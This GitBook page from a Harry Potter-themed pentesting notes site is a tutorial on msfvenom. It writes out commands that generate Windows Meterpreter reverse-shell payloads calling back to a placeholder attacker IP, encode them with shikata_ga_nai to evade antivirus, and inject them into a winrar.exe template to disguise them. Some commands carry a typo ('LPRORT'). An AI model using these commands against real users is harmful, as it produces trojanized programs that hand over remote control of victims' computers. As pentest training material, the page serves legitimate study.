Dark Arts
  • index
  • BUY ME A BOOK
  • 🪄Dark Magic
    • Pentesting
      • Industry Methodologies
    • Scopes of Testing
    • Reconnaissance
      • Passive
        • WHOIS
        • DNS
          • nslookup
          • dig
        • WAF
        • Subdomain
        • Google Dork
        • Misc. Techniques
        • Leaked Passwords
      • Active
        • Browser & Plugins
        • ping & traceroute
        • fping
        • telnet & netcat
        • DNS
          • Zone Transfer
          • DNS Amplification DDoS Attack Breakdown
        • Misc. Techniques
    • Vulnerability Assessment
    • Attack Types
  • 🕷️Aragoogs Nest
    • Web Application Overview & Security
      • Security Testing
      • Common Threats & Risks
    • Web Application Architecture
      • Technologies
    • HTTP/S
      • Message
      • Request
      • Response
        • Status Code
    • Crawling/Spidering
  • 🧪Potions
    • Web Browsers
    • Computer Networking
      • Network Protocol
      • Packets
      • OSI Layer
        • Layer 3: Network
        • Layer 4: Transport
      • DNS
        • Primary-Secondary
        • Local Name Resolution
        • Domain Hierarchy
        • FQDN
        • Lookups
        • DNS Resolution
        • DNS Records
        • Security: Attack-Defense (Default)
  • 🎆Spells
    • 📜Linux Scroll
    • 📜WebShell Scroll
    • git
      • Attacks + Vulnerabilities
  • 🖼️Flaws w/ Magical Frameworks
    • Windows
      • In a Nutshell
      • CVE-2019-0708: BlueKeep
      • CVE-2017-0144: EternalBlue: MS17-010
      • Attacking Services
        • MS IIS - WebDAV
        • SMB
        • HTTP File Server (HFS)
        • Apache Tomcat Web Server
        • RDP
        • WinRM
      • File System Vulnerabilities
      • Credential Dumping
        • Password Search in Windows Configuration Files
        • Mimikatz
        • Pass-the-Hash Attack
    • Linux
      • In a Nutshell
      • CVE-2014-6271: Shellshock
      • Attacking Services
        • FTP
        • SSH
        • SAMBA
        • SMTP
        • RSYNC
      • Dumping Hashes
  • 🌼Marauder's Boost
    • Privilege Escalation
    • Windows PrivEsc
      • Windows Kernel Exploit
      • Bypassing UAC
      • Access Token Impersonation
    • Linux PrivEsc
      • Linux Kernel Exploit
      • Misconfigured Cron Jobs
      • Exploiting SUID Binaries
      • shells
      • File Permissions
  • ☠️Death Eaters
    • Post Exploitation
      • Windows
      • Linux
  • 🪄OLLIVANDERS
    • nmap
      • Host Discovery
      • Port Scan
      • Service & OS
      • NSE
      • Firewall/IDS Evasion
      • Scan Optimization
      • Misc. Methods
    • ffuf
    • Hydra
    • Metasploit Framework
      • Architecture
      • Must to Know
      • msfvenom
      • Auxiliary Modules
      • Service Enumeration
      • Vulnerability Scanning
      • Imports
      • Automating
    • Vulnerability Scanners
    • Wireshark
  • 🚂Platform 9(3/4)
    • Auth-Auth
      • Authentication
        • Password-based Authentication
        • Basic Authentication
        • Multi-factor Authentication
        • Access Token
        • Token-based Authentication
          • JWT
          • OAuth 2.0
    • Secure Headers
      • Content-Security-Policy (CSP)
    • Cryptography
      • Caesar Cipher
  • ⛲Port Pensieve
    • Enumeration
      • SMB & NetBIOS
      • SNMP
    • Wordlists
  • 🔆DUELS
    • Pivoting
    • SMB Relay Attack
  • 🗺️Marauder's Map
    • Web Application Pentesting
    • API Pentesting
      • GraphQL
        • Primer
    • Mobile Application Pentesting
  • 🎧SIDE CHANNEL
    • Side Channel Analysis
    • Timing Side-Channel Attacks
      • Vulnerable Login
  • 🥃Sky
    • Cloud Basics
    • Cloud Management
      • Shared Responsibility Model
    • Using Cloud Resources
      • Monitoring & Alerts
      • Identity & Access Management
      • Scalability & Availability
      • Solution Design
    • Cloud Providers
    • Cloud Security & Regulatory Compliance
      • Resource Protection
      • ICCA: Cloud Security & Regulatory Compliance
    • ICCA Preparation
      • Knowledge Tests
      • Lab
  • 🔷Obsidian
    • Pentest Engagement
      • Scoping
    • Pentest Ethics
      • Rules of Engagement
    • Auditing Fundamentals
      • Process/Lifecycle
      • Pentest & Security Auditing
      • GRC
      • Standards, Frameworks & Guidelines
      • From Audit to Pentest
  • 💢Threat Modeling
    • Why Threat Model?
  • 📡THREAT INTEL
    • Threat Intelligence
    • Tool Dump
  • 📱Anything-Mobile-IoT
    • Firmware
    • Firmware Analysis
      • Example: CVE-2016-1555
    • Firmware Installation/Flashing
  • 🎉Mischeif
    • Social Engineering
    • Phishing
      • GoPhish
    • Pretexting
Powered by GitBook
On this page
  • What is msfvenom?
  • Encoding Payloads
  • Injecting Payloads to Windows Portable Executables
  1. OLLIVANDERS
  2. Metasploit Framework

msfvenom

A client-side attack happens when an attacker tricks a user into running a harmful file on their computer. Once the file runs, it secretly connects back to the attacker.

Hackers often use social engineering to make people open infected documents or programs. Instead of attacking weak software or services, they target human mistakes—like clicking on unsafe links or opening suspicious files.

Since this type of attack places a harmful file on the user’s computer, attackers must be careful to avoid detection by antivirus (AV) software.

What is msfvenom?

msfvenom is a command-line tool used to create and encode harmful payloads for different operating systems and web servers. It combines two tools: msfpayload and msfencode.

With msfvenom, we can create a dangerous payload (like a Meterpreter payload) that can be sent to a target computer. Once the target runs the payload, it connects back to us and gives us remote control over their system.

msfvenom --list payloads

windows/x64/meterpreter/reverse_http
linux/x64/meterpreter/reverse_http

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=[ATTACK IP] LPRORT=[PORT] -f exe > /home/payloadx86.exe

msfvenom --list formats

Encoding Payloads

Since this type of attack involves placing a malicious file on the client’s system (disk), attackers must be aware of antivirus (AV) detection. Most AV software uses signature-based detection to find harmful files or programs. To bypass older AV systems, attackers can encode their payloads. Encoding changes the payload's code in a way that alters its signature, making it harder for AV software to recognize it.

Shellcode is a small piece of code used as part of an attack. It’s called "shellcode" because it gives the attacker access to a command shell on the target system, allowing them to run commands remotely.

x86/shikata_ga_nai # polymorphic XOR additive feedback encoder

x86/shikata_ga_nai is a polymorphic XOR additive feedback encoder used in tools like msfvenom to encode payloads and help them avoid detection by antivirus software.

  • x86 refers to the architecture of the system, typically meaning 32-bit Intel-based processors.

  • Shikata_ga_nai is the name of this encoding technique. It comes from a Japanese phrase meaning "it can't be helped," symbolizing the persistence and effectiveness of the encoder.

  • Polymorphic means the encoder changes the appearance of the payload each time it’s used, so the signature looks different, even though the payload itself remains the same.

  • XOR additive feedback is a method used to modify the payload's code. It uses XOR (a binary operation) in combination with feedback loops to change the shellcode in a way that antivirus programs may not recognize it as malicious.

This encoder helps disguise the payload, making it harder for signature-based antivirus tools to detect it.

msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=[ATTACK IP] LPRORT=[PORT] -e x86/shikata_ga_nai -f exe > /home/payloadx86.exe

# specifying iteration
msfvenom -a x86 -p windows/meterpreter/reverse_tcp LHOST=[ATTACK IP] LPRORT=[PORT] -i 10 -e x86/shikata_ga_nai -f exe > /home/payloadx86.exe

Injecting Payloads to Windows Portable Executables

# The -x option allows you to specify a template or existing executable that you want to use as a starting point.
msfvenom -x 

# The -k option is used to keep the generated payload’s shellcode from having any specific exit functions.
msfvenom -k

# using winrar
msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACK IP] LPRORT=[PORT] -e x86/shikata_ga_nai -i 10 -f exe -x winrar.exe > /home/winrar.exe

msfvenom -p windows/meterpreter/reverse_tcp LHOST=[ATTACK IP] LPRORT=[PORT] -e x86/shikata_ga_nai -i 10 -f exe -k -x winrar.exe > /home/winrar.exe
PreviousMust to KnowNextAuxiliary Modules

Last updated 3 months ago

🪄